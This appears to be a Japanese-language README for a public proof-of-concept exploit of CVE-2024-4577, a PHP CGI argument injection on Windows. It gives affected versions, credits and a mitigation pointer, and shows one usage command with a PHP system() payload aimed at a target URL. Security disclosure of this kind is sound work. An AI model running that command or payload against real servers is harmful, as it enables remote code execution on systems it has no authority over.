
PHP CGI 引数インジェクション (CVE-2024-4577) リモートコード実行 PoC
@watchTowr によって開発された概念実証 (PoC) です。PHP CGI 引数注入の脆弱性 (CVE-2024-4577) を悪用し、Windows 環境で実行されている脆弱な PHP バージョンに対して RCE を取得します。この脆弱性の詳細な技術分析
この脆弱性は、DEVCORE (@d3vc0r3) の Orange Tsai (@orange_8361) によって発見されました。彼の優れた研究をぜひフォローしてください。私たちの役割は、この問題のエクスプロイトを再現し、開発することだけでした。
python watchTowr-vs-php_cve-2024-4577.py -c "<?php system('calc');?>" -t http://192.168.253.132/test.sina
__ ___ ___________
__ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________
\ \/ \/ \__ \ ___/ ___\| | \| | / _ \ \/ \/ \_ __ \
\ / / __ \| | \ \___| Y | |( <_> \ / | | \/
\/\_/ (____ |__| \___ |___|__|__ | \__ / \/\_/ |__|
\/ \/ \/
watchTowr-vs-php_cve-2024-4577.py
(*) PHP CGI Argument Injection (CVE-2024-4577) discovered by Orange Tsai (@orange_8361) of DEVCORE (@d3vc0r3)
- Aliz Hammond, watchTowr ([email protected])
- Sina Kheirkhah (@SinSinology), watchTowr ([email protected])
CVEs: [CVE-2024-4577]
(^_^) prepare for the Pwnage (^_^)
(+) Exploit was successful
元の DEVCORE (@d3vc0r3) によるブログ記事 に基づくと、この脆弱性は Windows オペレーティングシステムにインストールされたすべてのバージョンの PHP に影響します:
PHP 8.3 < 8.3.8
PHP 8.2 < 8.2.20
PHP 8.1 < 8.1.29
PHP 8.0、PHP 7、PHP 5 のブランチは End-of-Life となり、もはやメンテナンスされていないため、サーバー管理者は こちら の「Am I Vulnerable」セクションを参照し、「Mitigation Measure」セクションにある一時的なパッチの推奨事項を見つけることができます。
watchTowr (@watchtowrcyber) の Aliz (@AlizTheHax0r) と Sina Kheirkhah (@SinSinology)
最新のセキュリティ研究については、watchTowr Labs チームをフォローしてください。